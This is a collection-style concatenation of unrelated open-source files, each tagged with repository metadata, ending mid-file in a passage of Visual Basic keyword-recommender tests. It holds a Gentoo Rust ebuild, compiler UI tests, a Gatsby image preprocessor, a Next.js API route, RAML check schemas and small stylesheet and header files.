EGIT_REPO_URI="https://github.com/rust-lang/rust.git"
EGIT_CHECKOUT_DIR="${MY_P}-src"
KEYWORDS=""
CHOST_amd64=x86_64-unknown-linux-gnu
CHOST_x86=i686-unknown-linux-gnu
CHOST_arm64=aarch64-unknown-linux-gnu
DESCRIPTION="Systems programming language from Mozilla"
HOMEPAGE="https://www.rust-lang.org/"
RESTRICT="network-sandbox"
ALL_LLVM_TARGETS=( AArch64 AMDGPU ARM BPF Hexagon Lanai Mips MSP430
NVPTX PowerPC RISCV Sparc SystemZ WebAssembly X86 XCore )
ALL_LLVM_TARGETS=( "${ALL_LLVM_TARGETS[@]/#/llvm_targets_}" )
LLVM_TARGET_USEDEPS=${ALL_LLVM_TARGETS[@]/%/?}
LICENSE="|| ( MIT Apache-2.0 ) BSD-1 BSD-2 BSD-4 UoI-NCSA"
IUSE="clippy cpu_flags_x86_sse2 debug doc libressl miri parallel-compiler rls rustfmt rust-analyzer system-llvm wasm sanitize ${ALL_LLVM_TARGETS[*]}"
# Please keep the LLVM dependency block separate. Since LLVM is slotted,
# we need to *really* make sure we're not pulling more than one slot
# simultaneously.
# How to use it:
# 1. List all the working slots (with min versions) in ||, newest first.
# 2. Update the := to specify *max* version, e.g. < 11.
# 3. Specify LLVM_MAX_SLOT, e.g. 10.
LLVM_DEPEND="
|| (
sys-devel/llvm:10[${LLVM_TARGET_USEDEPS// /,}]
sys-devel/llvm:9[${LLVM_TARGET_USEDEPS// /,}]
)
<sys-devel/llvm-11:=
wasm? ( sys-devel/lld )
"
LLVM_MAX_SLOT=10
BDEPEND="${PYTHON_DEPS}
app-eselect/eselect-rust
|| (
>=sys-devel/gcc-4.7
>=sys-devel/clang-3.5
)
!system-llvm? (
dev-util/cmake
dev-util/ninja
)
"
# libgit2 should be at least same as bundled into libgit-sys #707746
DEPEND="
>=dev-libs/libgit2-0.99:=
net-libs/libssh2:=
net-libs/http-parser:=
net-misc/curl:=[http2,ssl]
sys-libs/zlib:=
!libressl? ( dev-libs/openssl:0= )
libressl? ( dev-libs/libressl:0= )
elibc_musl? ( sys-libs/libunwind )
system-llvm? (
${LLVM_DEPEND}
)
"
RDEPEND="${DEPEND}
app-eselect/eselect-rust
"
REQUIRED_USE="|| ( ${ALL_LLVM_TARGETS[*]} )
wasm? ( llvm_targets_WebAssembly )
x86? ( cpu_flags_x86_sse2 )
?? ( system-llvm sanitize )
"
# we don't use cmake.eclass, but can get a warnin -l
CMAKE_WARN_UNUSED_CLI=no
QA_FLAGS_IGNORED="
usr/bin/.*-${PV}
usr/lib.*/${P}/lib.*.so.*
usr/lib.*/${P}/rustlib/.*/bin/.*
usr/lib.*/${P}/rustlib/.*/lib/lib.*.so.*
"
QA_SONAME="
usr/lib.*/${P}/lib.*.so.*
usr/lib.*/${P}/rustlib/.*/lib/lib.*.so.*
"
# tests need a bit more work, currently they are causing multiple
# re-compilations and somewhat fragile.
RESTRICT="test network-sandbox"
S="${WORKDIR}/${MY_P}-src"
toml_usex() {
usex "$1" true false
}
pre_build_checks() {
local M=6144
M=$(( $(usex clippy 128 0) + ${M} ))
M=$(( $(usex miri 128 0) + ${M} ))
M=$(( $(usex rls 512 0) + ${M} ))
M=$(( $(usex rust-analyzer 512 0) + ${M} ))
M=$(( $(usex rustfmt 256 0) + ${M} ))
M=$(( $(usex system-llvm 0 2048) + ${M} ))
M=$(( $(usex wasm 256 0) + ${M} ))
M=$(( $(usex debug 15 10) * ${M} / 10 ))
eshopts_push -s extglob
if is-flagq '-g?(gdb)?([1-9])'; then
M=$(( 15 * ${M} / 10 ))
fi
eshopts_pop
M=$(( $(usex doc 256 0) + ${M} ))
CHECKREQS_DISK_BUILD=${M}M check-reqs_pkg_${EBUILD_PHASE}
}
pkg_pretend() {
pre_build_checks
}
pkg_setup() {
# ToDo: write a reason
unset SUDO_USER
pre_build_checks
python-any-r1_pkg_setup
# required to link agains system libs, otherwise
# crates use bundled sources and compile own static version
export LIBGIT2_SYS_USE_PKG_CONFIG=1
export LIBSSH2_SYS_USE_PKG_CONFIG=1
export PKG_CONFIG_ALLOW_CROSS=1
if use system-llvm; then
EGIT_SUBMODULES=( "*" "-src/llvm-project" )
llvm_pkg_setup
local llvm_config="$(get_llvm_prefix "$LLVM_MAX_SLOT")/bin/llvm-config"
export LLVM_LINK_SHARED=1
export RUSTFLAGS="${RUSTFLAGS} -Lnative=$("${llvm_config}" --libdir)"
fi
}
src_prepare() {
local rust_stage0_root="${WORKDIR}"/rust-stage0
default
}
src_unpack() {
git-r3_src_unpack
}
src_configure() {
local rust_target="" rust_targets="" arch_cflags
# Collect rust target names to compile standard libs for all ABIs.
for v in $(multilib_get_enabled_abi_pairs); do
rust_targets="${rust_targets},\"$(rust_abi $(get_abi_CHOST ${v##*.}))\""
done
if use wasm; then
rust_targets="${rust_targets},\"wasm32-unknown-unknown\""
if use system-llvm; then
# un-hardcode rust-lld linker for this target
# https://bugs.gentoo.org/715348
sed -i '/linker:/ s/rust-lld/wasm-ld/' compiler/rustc_target/src/spec/wasm32_base.rs || die
fi
fi
rust_targets="${rust_targets#,}"
local tools="\"cargo\","
if use clippy; then
tools="\"clippy\",$tools"
fi
if use miri; then
tools="\"miri\",$tools"
fi
if use rls; then
tools="\"rls\",$tools"
fi
if use rustfmt; then
tools="\"rustfmt\",$tools"
fi
if use rust-analyzer; then
tools="\"rust-analyzer\",$tools"
fi
if [ use rls -o use rust-analyzer ]; then
tools="\"analysis\",\"src\",$tools"
fi
rust_target="$(rust_abi)"
cat <<- EOF > "${S}"/config.toml
[llvm]
optimize = $(toml_usex !debug)
release-debuginfo = $(toml_usex debug)
assertions = $(toml_usex debug)
ninja = true
targets = "${LLVM_TARGETS// /;}"
experimental-targets = ""
link-shared = $(toml_usex system-llvm)
[build]
build = "${rust_target}"
host = ["${rust_target}"]
target = [${rust_targets}]
docs = $(toml_usex doc)
compiler-docs = $(toml_usex doc)
submodules = false
python = "${EPYTHON}"
locked-deps = true
vendor = false
extended = true
tools = [${tools}]
verbose = 2
sanitizers = $(toml_usex sanitize)
profiler = false
cargo-native-static = false
[install]
prefix = "${EPREFIX}/usr"
libdir = "$(get_libdir)/${P}"
docdir = "share/doc/${PF}"
mandir = "share/${P}/man"
[rust]
optimize = true
debug = $(toml_usex debug)
debug-assertions = $(toml_usex debug)
debuginfo-level-rustc = 0
backtrace = true
incremental = false
default-linker = "$(tc-getCC)"
parallel-compiler = $(toml_usex parallel-compiler)
rpath = false
verbose-tests = true
optimize-tests = $(toml_usex !debug)
codegen-tests = true
dist-src = false
ignore-git = false
lld = $(usex system-llvm false $(toml_usex wasm))
backtrace-on-ice = true
jemalloc = false
deny-warnings = false
[dist]
src-tarball = false
EOF
for v in $(multilib_get_enabled_abi_pairs); do
rust_target=$(rust_abi $(get_abi_CHOST ${v##*.}))
arch_cflags="$(get_abi_CFLAGS ${v##*.})"
cat <<- EOF >> "${S}"/config.env
CFLAGS_${rust_target}=${arch_cflags}
EOF
cat <<- EOF >> "${S}"/config.toml
[target.${rust_target}]
cc = "$(tc-getBUILD_CC)"
cxx = "$(tc-getBUILD_CXX)"
linker = "$(tc-getCC)"
ar = "$(tc-getAR)"
EOF
# librustc_target/spec/linux_musl_base.rs sets base.crt_static_default = true;
if use elibc_musl; then
cat <<- EOF >> "${S}"/config.toml
crt-static = false
EOF
fi
if use system-llvm; then
cat <<- EOF >> "${S}"/config.toml
llvm-config = "$(get_llvm_prefix "${LLVM_MAX_SLOT}")/bin/llvm-config"
EOF
fi
done
if use wasm; then
cat <<- EOF >> "${S}"/config.toml
[target.wasm32-unknown-unknown]
linker = "$(usex system-llvm lld rust-lld)"
EOF
fi
if [[ -n ${I_KNOW_WHAT_I_AM_DOING_CROSS} ]]; then #whitespace intentionally shifted below
# experimental cross support
# discussion: https://bugs.gentoo.org/679878
# TODO: c*flags, clang, system-llvm, cargo.eclass target support
# it would be much better if we could split out stdlib
# complilation to separate ebuild and abuse CATEGORY to
# just install to /usr/lib/rustlib/<target>
# extra targets defined as a bash array
# spec format: <LLVM target>:<rust-target>:<CTARGET>
# best place would be /etc/portage/env/dev-lang/rust
# Example:
# RUST_CROSS_TARGETS=(
# "AArch64:aarch64-unknown-linux-gnu:aarch64-unknown-linux-gnu"
# )
# no extra hand holding is done, no target transformations, all
# values are passed as-is with just basic checks, so it's up to user to supply correct values
# valid rust targets can be obtained with
# rustc --print target-list
# matching cross toolchain has to be installed
# matching LLVM_TARGET has to be enabled for both rust and llvm (if using system one)
# only gcc toolchains installed with crossdev are checked for now.
# BUG: we can't pass host flags to cross compiler, so just filter for now
# BUG: this should be more fine-grained.
filter-flags '-mcpu=*' '-march=*' '-mtune=*'
local cross_target_spec
for cross_target_spec in "${RUST_CROSS_TARGETS[@]}";do
# extracts first element form <LLVM target>:<rust-target>:<CTARGET>
local cross_llvm_target="${cross_target_spec%%:*}"
# extracts toolchain triples, <rust-target>:<CTARGET>
local cross_triples="${cross_target_spec#*:}"
# extracts first element after before : separator
local cross_rust_target="${cross_triples%%:*}"
# extracts last element after : separator
local cross_toolchain="${cross_triples##*:}"
use llvm_targets_${cross_llvm_target} || die "need llvm_targets_${cross_llvm_target} target enabled"
command -v ${cross_toolchain}-gcc > /dev/null 2>&1 || die "need ${cross_toolchain} cross toolchain"
cat <<- EOF >> "${S}"/config.toml
[target.${cross_rust_target}]
cc = "${cross_toolchain}-gcc"
cxx = "${cross_toolchain}-g++"
linker = "${cross_toolchain}-gcc"
ar = "${cross_toolchain}-ar"
EOF
if use system-llvm; then
cat <<- EOF >> "${S}"/config.toml
llvm-config = "$(get_llvm_prefix "${LLVM_MAX_SLOT}")/bin/llvm-config"
EOF
fi
# append cross target to "normal" target list
# example 'target = ["powerpc64le-unknown-linux-gnu"]'
# becomes 'target = ["powerpc64le-unknown-linux-gnu","aarch64-unknown-linux-gnu"]'
rust_targets="${rust_targets},\"${cross_rust_target}\""
sed -i "/^target = \[/ s#\[.*\]#\[${rust_targets}\]#" config.toml || die
ewarn
ewarn "Enabled ${cross_rust_target} rust target"
ewarn "Using ${cross_toolchain} cross toolchain"
ewarn
if ! has_version -b 'sys-devel/binutils[multitarget]' ; then
ewarn "'sys-devel/binutils[multitarget]' is not installed"
ewarn "'strip' will be unable to strip cross libraries"
ewarn "cross targets will be installed with full debug information"
ewarn "enable 'multitarget' USE flag for binutils to be able to strip object files"
ewarn
ewarn "Alternatively llvm-strip can be used, it supports stripping any target"
ewarn "define STRIP=\"llvm-strip\" to use it (experimental)"
ewarn
fi
done
fi # I_KNOW_WHAT_I_AM_DOING_CROSS
einfo "Rust configured with the following settings:"
cat "${S}"/config.toml || die
}
src_compile() {
env $(cat "${S}"/config.env) RUST_BACKTRACE=1\
"${EPYTHON}" ./x.py build -vv --config="${S}"/config.toml -j$(makeopts_jobs) || die
}
src_test() {
env $(cat "${S}"/config.env) RUST_BACKTRACE=1\
"${EPYTHON}" ./x.py test -vv --config="${S}"/config.toml -j$(makeopts_jobs) --no-doc --no-fail-fast \
src/test/codegen \
src/test/codegen-units \
src/test/compile-fail \
src/test/incremental \
src/test/mir-opt \
src/test/pretty \
src/test/run-fail \
src/test/run-make \
src/test/run-make-fulldeps \
src/test/ui \
src/test/ui-fulldeps || die
}
src_install() {
env $(cat "${S}"/config.env) DESTDIR="${D}" \
"${EPYTHON}" ./x.py install -vv --config="${S}"/config.toml -j$(makeopts_jobs) || die
# bug #689562, #689160
rm "${D}/etc/bash_completion.d/cargo" || die
rmdir "${D}"/etc{/bash_completion.d,} || die
dobashcomp build/tmp/dist/cargo-image/etc/bash_completion.d/cargo
# fix collision with stable rust #675026
rm "${ED}"/usr/share/bash-completion/completions/cargo || die
rm "${ED}"/usr/share/zsh/site-functions/_cargo || die
mv "${ED}/usr/bin/rustc" "${ED}/usr/bin/rustc-${PV}" || die
mv "${ED}/usr/bin/rustdoc" "${ED}/usr/bin/rustdoc-${PV}" || die
mv "${ED}/usr/bin/rust-gdb" "${ED}/usr/bin/rust-gdb-${PV}" || die
mv "${ED}/usr/bin/rust-gdbgui" "${ED}/usr/bin/rust-gdbgui-${PV}" || die
mv "${ED}/usr/bin/rust-lldb" "${ED}/usr/bin/rust-lldb-${PV}" || die
mv "${ED}/usr/bin/cargo" "${ED}/usr/bin/cargo-${PV}" || die
if use clippy; then
mv "${ED}/usr/bin/clippy-driver" "${ED}/usr/bin/clippy-driver-${PV}" || die
mv "${ED}/usr/bin/cargo-clippy" "${ED}/usr/bin/cargo-clippy-${PV}" || die
fi
if use miri; then
mv "${ED}/usr/bin/miri" "${ED}/usr/bin/miri-${PV}" || die
mv "${ED}/usr/bin/cargo-miri" "${ED}/usr/bin/cargo-miri-${PV}" || die
fi
if use rls; then
mv "${ED}/usr/bin/rls" "${ED}/usr/bin/rls-${PV}" || die
fi
if use rust-analyzer; then
mv "${ED}/usr/bin/rust-analyzer" "${ED}/usr/bin/rust-analyzer-${PV}" || die
fi
if use rustfmt; then
mv "${ED}/usr/bin/rustfmt" "${ED}/usr/bin/rustfmt-${PV}" || die
mv "${ED}/usr/bin/cargo-fmt" "${ED}/usr/bin/cargo-fmt-${PV}" || die
fi
# Copy shared library versions of standard libraries for all targets
# into the system's abi-dependent lib directories because the rust
# installer only does so for the native ABI.
local abi_libdir rust_target
for v in $(multilib_get_enabled_abi_pairs); do
if [ ${v##*.} = ${DEFAULT_ABI} ]; then
continue
fi
abi_libdir=$(get_abi_LIBDIR ${v##*.})
rust_target=$(rust_abi $(get_abi_CHOST ${v##*.}))
mkdir -p "${ED}/usr/${abi_libdir}/${P}"
cp "${ED}/usr/$(get_libdir)/${P}/rustlib/${rust_target}/lib"/*.so \
"${ED}/usr/${abi_libdir}/${P}" || die
done
# versioned libdir/mandir support
newenvd - "50${P}" <<-_EOF_
LDPATH="${EPREFIX}/usr/$(get_libdir)/${P}"
MANPATH="${EPREFIX}/usr/share/${P}/man"
_EOF_
dodoc COPYRIGHT
rm -rf "${ED}/usr/$(get_libdir)/${P}"/*.old || die
rm "${ED}/usr/share/doc/${P}"/*.old || die
rm "${ED}/usr/share/doc/${P}/LICENSE-APACHE" || die
rm "${ED}/usr/share/doc/${P}/LICENSE-MIT" || die
# note: eselect-rust adds EROOT to all paths below
cat <<-EOF > "${T}/provider-${P}"
/usr/bin/cargo
/usr/bin/rustdoc
/usr/bin/rust-gdb
/usr/bin/rust-gdbgui
/usr/bin/rust-lldb
EOF
if use clippy; then
echo /usr/bin/clippy-driver >> "${T}/provider-${P}"
echo /usr/bin/cargo-clippy >> "${T}/provider-${P}"
fi
if use miri; then
echo /usr/bin/miri >> "${T}/provider-${P}"
echo /usr/bin/cargo-miri >> "${T}/provider-${P}"
fi
if use rls; then
echo /usr/bin/rls >> "${T}/provider-${P}"
fi
if use rust-analyzer; then
echo /usr/bin/rust-analyzer >> "${T}/provider-${P}"
fi
if use rustfmt; then
echo /usr/bin/rustfmt >> "${T}/provider-${P}"
echo /usr/bin/cargo-fmt >> "${T}/provider-${P}"
fi
insinto /etc/env.d/rust
doins "${T}/provider-${P}"
}
pkg_postinst() {
eselect rust update --if-unset
elog "Rust installs a helper script for calling GDB and LLDB,"
elog "for your convenience it is installed under /usr/bin/rust-{gdb,lldb}-${PV}."
if has_version app-editors/emacs; then
elog "install app-emacs/rust-mode to get emacs support for rust."
fi
if has_version app-editors/gvim || has_version app-editors/vim; then
elog "install app-vim/rust-vim to get vim support for rust."
fi
if use elibc_musl; then
ewarn "${PN} on *-musl targets is configured with crt-static"
ewarn ""
ewarn "you will need to set RUSTFLAGS=\"-C target-feature=-crt-static\" in make.conf"
ewarn "to use it with portage, otherwise you may see failures like"
ewarn "error: cannot produce proc-macro for serde_derive v1.0.98 as the target "
ewarn "x86_64-unknown-linux-musl does not support these crate types"
fi
}
pkg_postrm() {
eselect rust cleanup
}
| Gentoo Ebuild | 4 | gentoo/gentoo-rust | dev-lang/rust/rust-9999.ebuild | [
"BSD-3-Clause"
] |
x'i32 := 1.0 | Objective-J | 0 | justinmann/sj | tests/assignment3.sj | [
"Apache-2.0"
] |
mod a {
struct Foo;
impl Foo { pub fn new() {} }
enum Bar {}
impl Bar { pub fn new() {} }
}
fn main() {
a::Foo::new();
//~^ ERROR: struct `Foo` is private
a::Bar::new();
//~^ ERROR: enum `Bar` is private
}
| Rust | 3 | Eric-Arellano/rust | src/test/ui/issues/issue-13641.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
module.exports (cg) = cg.term {
constructor (value) =
self.boolean = value
self.is boolean = true
generate (scope) =
self.code (
if (self.boolean)
'true'
else
'false'
)
}
| PogoScript | 3 | Sotrek/Alexa | Alexa_Cookbook/Workshop/StatePop/4_IOT/tests/node_modules/aws-sdk/node_modules/cucumber/node_modules/pogo/lib/terms/boolean.pogo | [
"MIT"
] |
.q-pull-to-refresh
position: relative
&__puller
border-radius: 50%
width: 40px
height: 40px
color: var(--q-primary)
background: #fff
box-shadow: 0 0 4px 0 rgba(0,0,0,.3)
&--animating
transition: transform .3s, opacity .3s
| Sass | 3 | ygyg70/quasar | ui/src/components/pull-to-refresh/QPullToRefresh.sass | [
"MIT"
] |
#%RAML 1.0 Library
uses:
strings: stringTypes.raml
command: mesosCommand.raml
numbers: numberTypes.raml
types:
HttpCheck:
type: object
properties:
endpoint:
type: strings.Name
description: |
The endpoint name to use.
In "host" mode checks use the hostPort. In other modes use the containerPort.
path?: strings.Path
scheme?:
type: strings.HttpScheme
default: HTTP
TcpCheck:
type: object
properties:
endpoint:
type: strings.Name
description: |
The endpoint name to use.
In "host" mode checks use the hostPort. In other modes use the containerPort.
CommandCheck:
type: object
properties:
command: command.MesosCommand
AppHttpCheck:
type: object
properties:
portIndex?:
type: numbers.AnyPort
description: |
Index in this app's ports array to be used for check requests.
An index is used so the app can use random ports,
like [0, 0, 0] for example, and tasks could be started with
port environment variables like $PORT1.
port?:
type: numbers.AnyPort
description: |
The specific port to connect to.
In case of dynamic ports, see portIndex.
path?: strings.Path
scheme?:
type: strings.HttpScheme
default: HTTP
AppTcpCheck:
type: object
properties:
portIndex?:
type: numbers.AnyPort
description: |
Index in this app's ports array to be used for check requests.
An index is used so the app can use random ports,
like [0, 0, 0] for example, and tasks could be started with
port environment variables like $PORT1.
port?:
type: numbers.AnyPort
description: |
The specific port to connect to.
In case of dynamic ports, see portIndex.
Check:
type: object
properties:
http?: HttpCheck
tcp?: TcpCheck
exec?:
type: CommandCheck
description: |
Command that executes some check process.
Use with pods requires Mesos v1.2 or higher.
intervalSeconds?:
type: integer
format: int32
description: Interval between the checks
minimum: 0
default: 60
timeoutSeconds?:
type: integer
format: int32
description: Amount of time to wait for the check to complete.
minimum: 0
default: 20
delaySeconds?:
type: integer
format: int32
description: Amount of time to wait until starting the checks.
minimum: 0
default: 15
usage: Must specify a single type of check, http, tcp, or exec
AppCheck:
type: object
properties:
http?: AppHttpCheck
tcp?: AppTcpCheck
exec?:
type: CommandCheck
description: |
Command that executes some check process.
Use with pods requires Mesos v1.2 or higher.
intervalSeconds?:
type: integer
format: int32
description: Interval between the checks
minimum: 0
default: 60
timeoutSeconds?:
type: integer
format: int32
description: Amount of time to wait for the check to complete.
minimum: 0
default: 20
delaySeconds?:
type: integer
format: int32
description: Amount of time to wait until starting the checks.
minimum: 0
default: 15
usage: Must specify a single type of check, http, tcp, or exec
HttpCheckStatus:
type: object
properties:
statusCode:
type: integer
format: int32
description: HTTP Check response status code
minimum: 0
TCPCheckStatus:
type: object
properties:
succeeded:
type: boolean
description: TCP Check responded
CommandCheckStatus:
type: object
properties:
exitCode:
type: integer
format: int32
description: Command Check process exit code
CheckStatus:
type: object
properties:
http?: HttpCheckStatus
tcp?: TCPCheckStatus
command?: CommandCheckStatus
| RAML | 4 | fquesnel/marathon | docs/docs/rest-api/public/api/v2/types/check.raml | [
"Apache-2.0"
] |
import { PreprocessSourceArgs } from "gatsby"
import { babelParseToAst } from "./parser"
import path from "path"
import { extractStaticImageProps } from "./parser"
import { codeFrameColumns } from "@babel/code-frame"
import { writeImages } from "./image-processing"
import { getCacheDir } from "./node-utils"
import { stripIndents } from "common-tags"
const extensions: Array<string> = [`.js`, `.jsx`, `.tsx`]
export async function preprocessSource({
filename,
contents,
pathPrefix,
cache,
reporter,
store,
createNodeId,
actions: { createNode },
}: PreprocessSourceArgs): Promise<void> {
if (
!contents.includes(`StaticImage`) ||
!contents.includes(`gatsby-plugin-image`) ||
!extensions.includes(path.extname(filename))
) {
return
}
const root = store.getState().program.directory
const cacheDir = getCacheDir(root)
const ast = babelParseToAst(contents, filename)
reporter.setErrorMap({
"95314": {
text: (context): string =>
stripIndents`
Error extracting property "${context.prop}" from StaticImage component.
There are restrictions on how props can be passed to the StaticImage component. Learn more at https://gatsby.dev/static-image-props
${context.codeFrame}
`,
docsUrl: `https://gatsby.dev/static-image-props`,
level: `ERROR`,
category: `USER`,
},
})
const images = extractStaticImageProps(ast, (prop, nodePath) => {
const { start, end } = nodePath.node.loc
const location = { start, end }
reporter.error({
id: `95314`,
filePath: filename,
location,
context: {
prop,
codeFrame: codeFrameColumns(contents, nodePath.node.loc, {
linesAbove: 6,
linesBelow: 6,
highlightCode: true,
}),
},
})
})
const sourceDir = path.dirname(filename)
await writeImages({
images,
pathPrefix,
cache,
reporter,
cacheDir,
sourceDir,
createNodeId,
createNode,
store,
filename,
})
return
}
| TypeScript | 4 | waltercruz/gatsby | packages/gatsby-plugin-image/src/node-apis/preprocess-source.ts | [
"MIT"
] |
import { NextApiRequest, NextApiResponse } from 'next'
import Unsplash, { toJson } from 'unsplash-js'
export default function getPhotos(req: NextApiRequest, res: NextApiResponse) {
return new Promise((resolve) => {
const u = new Unsplash({ accessKey: process.env.UNSPLASH_ACCESS_KEY })
u.users
.photos(process.env.UNSPLASH_USER, 1, 50, 'latest')
.then(toJson)
.then((json: string) => {
res.setHeader('Cache-Control', 'max-age=180000')
res.status(200).json(json)
resolve()
})
.catch((error) => {
res.status(405).json(error)
resolve()
})
})
}
| TypeScript | 4 | blomqma/next.js | examples/with-unsplash/pages/api/photo/index.tsx | [
"MIT"
] |
#ifndef INDIRECTLY_IMPORTED_H
#define INDIRECTLY_IMPORTED_H
struct IndirectlyImportedStruct {
int value;
};
#endif
| C | 2 | lwhsu/swift | test/Serialization/Recovery/Inputs/custom-modules/IndirectlyImported.h | [
"Apache-2.0"
] |
' Licensed to the .NET Foundation under one or more agreements.
' The .NET Foundation licenses this file to you under the MIT license.
' See the LICENSE file in the project root for more information.
Namespace Microsoft.CodeAnalysis.Editor.VisualBasic.UnitTests.Recommendations.Declarations
Public Class ClassKeywordRecommenderTests
Inherits RecommenderTests
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassInClassDeclarationTest()
VerifyRecommendationsContain(<ClassDeclaration>|</ClassDeclaration>, "Class")
End Sub
<Fact, WorkItem(530727, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/530727")>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassFollowsClassTest()
Dim code =
<File>
Class C1
End Class
|
</File>
VerifyRecommendationsContain(code, "Class")
End Sub
<Fact, WorkItem(530727, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/530727")>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassPrecedesClassTest()
Dim code =
<File>
|
Class C1
End Class
</File>
VerifyRecommendationsContain(code, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassFollowsDelegateDeclarationTest()
Dim code =
<File>
Delegate Sub DelegateType()
|
</File>
VerifyRecommendationsContain(code, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotInMethodDeclarationTest()
VerifyRecommendationsMissing(<MethodBody>|</MethodBody>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassInNamespaceTest()
VerifyRecommendationsContain(<NamespaceDeclaration>|</NamespaceDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassInInterfaceTest()
VerifyRecommendationsContain(<InterfaceDeclaration>|</InterfaceDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotInEnumTest()
VerifyRecommendationsMissing(<EnumDeclaration>|</EnumDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassInStructureTest()
VerifyRecommendationsContain(<StructureDeclaration>|</StructureDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassInModuleTest()
VerifyRecommendationsContain(<ModuleDeclaration>|</ModuleDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterPartialTest()
VerifyRecommendationsContain(<File>Partial |</File>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterPublicInFileTest()
VerifyRecommendationsContain(<File>Public |</File>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterPublicInClassDeclarationTest()
VerifyRecommendationsContain(<ClassDeclaration>Public |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassMissingAfterProtectedInFileTest()
VerifyRecommendationsMissing(<File>Protected |</File>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassExistsAfterProtectedInClassDeclarationTest()
VerifyRecommendationsContain(<ClassDeclaration>Protected |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterFriendInFileTest()
VerifyRecommendationsContain(<File>Friend |</File>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterFriendInClassDeclarationTest()
VerifyRecommendationsContain(<ClassDeclaration>Friend |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterPrivateInFileTest()
VerifyRecommendationsMissing(<File>Private |</File>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterPrivateInNestedClassTest()
VerifyRecommendationsContain(<ClassDeclaration>Private |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterPrivateInNamespaceTest()
VerifyRecommendationsMissing(<File>
Namespace Goo
Private |
End Namespace</File>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterProtectedFriendInFileTest()
VerifyRecommendationsMissing(<File>Protected Friend |</File>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterProtectedFriendInClassTest()
VerifyRecommendationsContain(<ClassDeclaration>Protected Friend |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterOverloadsTest()
VerifyRecommendationsMissing(<ClassDeclaration>Overloads |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterOverridesTest()
VerifyRecommendationsMissing(<ClassDeclaration>Overrides |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterOverridableTest()
VerifyRecommendationsMissing(<ClassDeclaration>Overridable |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterNotOverridableTest()
VerifyRecommendationsMissing(<ClassDeclaration>NotOverridable |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterMustOverrideTest()
VerifyRecommendationsMissing(<ClassDeclaration>MustOverride |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterMustOverrideOverridesTest()
VerifyRecommendationsMissing(<ClassDeclaration>MustOverride Overrides |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterNotOverridableOverridesTest()
VerifyRecommendationsMissing(<ClassDeclaration>NotOverridable Overrides |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterConstTest()
VerifyRecommendationsMissing(<ClassDeclaration>Const |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassNotAfterDefaultTest()
VerifyRecommendationsMissing(<ClassDeclaration>Default |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterMustInheritTest()
VerifyRecommendationsContain(<ClassDeclaration>MustInherit |</ClassDeclaration>, "Class")
End Sub
<Fact>
<Trait(Traits.Feature, Traits.Features.KeywordRecommending)>
Public Sub ClassAfterNotInheritableTest()
